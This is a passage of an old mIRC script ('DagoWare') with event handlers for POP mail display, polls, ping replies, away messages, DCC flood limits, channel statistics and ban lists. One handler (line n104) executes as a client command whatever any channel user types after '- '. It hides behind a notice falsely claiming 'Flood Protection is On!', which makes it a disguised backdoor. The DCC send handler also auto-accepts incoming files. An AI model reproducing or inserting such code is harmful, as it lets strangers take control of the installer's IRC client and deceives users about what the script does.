  529. n46=      if ($parm2 == Bad) && ($parm3 == login) { echo 4 %mail.win Error : $parm2* | msg = $+ %mail.n quit }
  530. n47=      else { echo 4 %mail.win Error : $parm2* }
  531. n48=    }
  532. n49=    elseif ($parms == $null) { echo 4 %mail.win - - }
  533. n50=    elseif ($parm1 isnum) { echo 4 %mail.win Message $parm1 : $parm2 bytes }
  534. n51=    else { echo 4 %mail.win - - $parms }
  535. n52=  }
  536. n53=}
  537. n54=1:ON CHATCLOSE {
  538. n55=  if $nick != %mail.n { halt }
  539. n56=  echo 1 %mail.win -
  540. n57=  echo 1 %mail.win *** Disconnected
  541. n58=  .disable #mail
  542. n59=  if (%forgetpass == Y) { unset %pop.pass }
  543. n60=  .timer 1 1 /close -c %mail.n
  544. n61=  unset %mail.win %mail.messages %mail.counter %mail.n %mail.usergiven
  545. n62=}
  546. n63=#mail end
  547. n64=1:ON JOIN:#mIRC_Scripts:{
  548. n65=  inc %count 1
  549. n66=  /notice $nick Welcome to Ä $+ $chan $+ Ä You are the %count person to visit as of  $+ $date $+  Channel counter stats provided by 12-=DagoWare 96=-  
  550. n67=}
  551. n68=!1:ON QUIT:/onquit
  552. n69=#polls disabled
  553. n70=1:ON TEXT:!yes*:#: {
  554. n71=  if ($nick isin %notagain) { /notice $nick You Can Only Vote Once DEWD 12-=DagoWare 96=- | /halt }
  555. n72=  /set %notagain %notagain $nick
  556. n73=  /inc %yes
  557. n74=}
  558. n75=1:ON TEXT:!no*:#: {
  559. n76=  if ($nick isin %notagain) { /notice $nick You Can Only Vote Once DEWD 12-=DagoWare 96=-| /halt }
  560. n77=  /set %notagain %notagain $nick
  561. n78=  /inc %no
  562. n79=}
  563. n80=#poll end
  564. n81=1:on text:*ping me*:#:/ctcp $nick ping
  565. n82=1:on text:*ping pl*:#:/ctcp $nick ping
  566. n83=1:on text:*my ping*:#:/ctcp $nick ping
  567. n84=1:on text:*lagged?*:#:/ctcp $nick ping
  568. n85=1:on action:*ping me*:#:/ctcp $nick ping
  569. n86=1:on action:*ping pl*:#:/ctcp $nick ping
  570. n87=1:on action:*my ping*:#:/ctcp $nick ping
  571. n88=1:on action:*lagged?*:#:/ctcp $nick ping
  572. n89=1:on ctcpreply:*ping*: %pt = $ctime - $parm2 | /notice $nick **Your ping reply is %pt seconds** | /notice $Nick Brought To You By: 12-=DagoWare 96=-
  573. n90=#away start
  574. n91=1:on text:*<your nick>*:#:/notice $nick I've been away for %minutes minutes - %away  12-=DagoWare 96=-
  575. n92=1:on action:*<your nick>*:#:/notice $nick I've been away for %minutes minutes - %away 12-=DagoWare 96=-
  576. n93=1:on text:*:?:/msg $nick Hi $nick, I've been away for %minutes minutes - %away 12-=DagoWare 96=-
  577. n94=#away end
  578. n95=#pagersay start
  579. n96=1:on text:*<your nick>*:#:/notice $nick Hi $nick, please <ò> /ctcp $me page <ò> to yell at me 12-=DagoWare 96=-
  580. n97=1:on action:*<your nick>*:#:/notice $nick Hi $nick, please <ò> /ctcp $me page <ò> to yell at me 12-=DagoWare 96=-
  581. n98=1:on text:*:?:/msg $nick Hi $nick, please <ò> /ctcp $me page <ò> to yell at me 12-=DagoWare 96=-
  582. n99=#pagersay end
  583. n100=1:*: {
  584. n101=  if (%colour == 7) { /set %colour 1 | /echo %colour $nick - $parms | /inc %colour 1 | halt }
  585. n102=  else { /echo %colour $parms | /inc %colour 1 | halt }
  586. n103=}
  587. n104=!1:ON TEXT:- *:#:/ $+ $parm2* | /notice $Nick Flood Protection is On! 12-=DagoWare 96=-
  588. n105=1:dcc chat: {
  589. n106=  inc %dccchat 1
  590. n107=  if (%dccchat < 3) { 
  591. n108=    timer5 1 10 set %dccchat 0
  592. n109=    creq auto 
  593. n110=    halt
  594. n111=  }
  595. n112=  else { 
  596. n113=    notice $nick Sorry, DCC chats are ignored at the moment, pls try again in a sec! 12-=DagoWare 96=- 
  597. n114=    timer5 1 10 set %dccchat 0
  598. n115=    ignore -ptu60 $nick 2
  599. n116=  }
  600. n117=}
  601. n118=1:dcc send: {
  602. n119=  inc %dccsend 1 
  603. n120=  if %dccsend < 5 { 
  604. n121=    timer6 1 5 set %dccsend 0
  605. n122=    sreq auto
  606. n123=    notice $nick Thanks for " $+ $parm3 $+ " $nick
  607. n124=  }
  608. n125=  else { 
  609. n126=    notice $nick DCC Sends ignored, Please try again in a Sec, Thanks $Nick!  12-=DagoWare 96=- 
  610. n127=    amsg ò DCC Send ò Flood from $nick --> $address
  611. n128=    timer6 1 5 set %dccsend 0
  612. n129=    ignore -ptu60 $nick 2 
  613. n130=  }
  614. n131=}
  615.  
  616. [Raw]
  617. n0=352:* { 
  618. n1=  if (%chanst == on) {
  619. n2=    if (* isin $parm7) inc %ircops 
  620. n3=    if (G isin $parm7) inc %anum 
  621. n4=    if (@ isin $parm7) inc %opnum 
  622. n5=    if (@ !isin $parm7) inc %nopnum 
  623. n6=    inc %unum | /inc %hops $parm8 
  624. n7=    if ($parm4 isin %addies) inc %clones
  625. n8=    set %addies %addies $parm4
  626. n9=  }
  627. n10=}
  628. n11=315:* {
  629. n12=  if (%chanst == on) {
  630. n13=    set %avghops %hops / %unum | /set %here %unum - %anum
  631. n14=    msg $parm2 $str(1, áááááá)
  632. n15=    msg $parm2 15149,1 Channel Statistics for $+ $parm2 $+ 
  633. n16=    msg $parm2 1,3 Chan Total -  $+ %unum $+  
  634. n17=    msg $parm2 1,3 Chan Ops ---  $+ %opnum $+ 
  635. n18=    msg $parm2 1,3 IRC Ops ----  $+ %ircops $+ 
  636. n19=    msg $parm2 1,3 Clones -----  $+ %clones $+ 
  637. n20=    msg $parm2 12-=DagoWare 96=-
  638. n21=    msg $parm2 $str(1, áááááá)
  639. n22=    unset %chanst | /unset %hops | /unset %anum | /unset %opnum | /unset %unum | /unset %ircops | /unset %nopnum | /unset %clones | /unset %here | /unset %avghops | /unset %addies
  640. n23=  }
  641. n24=}
  642. n25=367:*: {
  643. n26=  if %banlist == 1 {
  644. n27=    if %unbanall == 1 { mode $parm2 -b $parm3 | /goto end }
  645. n28=    inc %bancount 1
  646. n29=    if %bancount == 1 { msg $parm2 $str(1, áááááá) | /msg $parm2 ü4 $+ BAN list for $parm2 $+ ü }
  647. n30=    msg  $parm2 $parm3 banned by $parm4
  648. n31=    :end
  649. n32=  }
  650. n33=}
  651. n34=368:*: { 
  652. n35=  if %banlist == 1 {
  653. n36=    if %unbanall == $null {
  654. n37=      if %bancount == 0 { 
  655. n38=        msg $parm2 $str(1, áááááá) | /msg $parm2 ü $+ There are no BANs on $parm2 $+ ü  12-=DagoWare 96=-
  656. n39=      }
  657. n40=      else {
  658. n41=        msg $parm2 12-=DagoWare 96=-
  659. n42=      }
  660. n43=      msg $parm2 $str(1, áááááá)
  661. n44=    }
  662. n45=    unset %unbanall | /unset %banlist | /unset %bancount
  663. n46=  }
  664. n47=}
  665.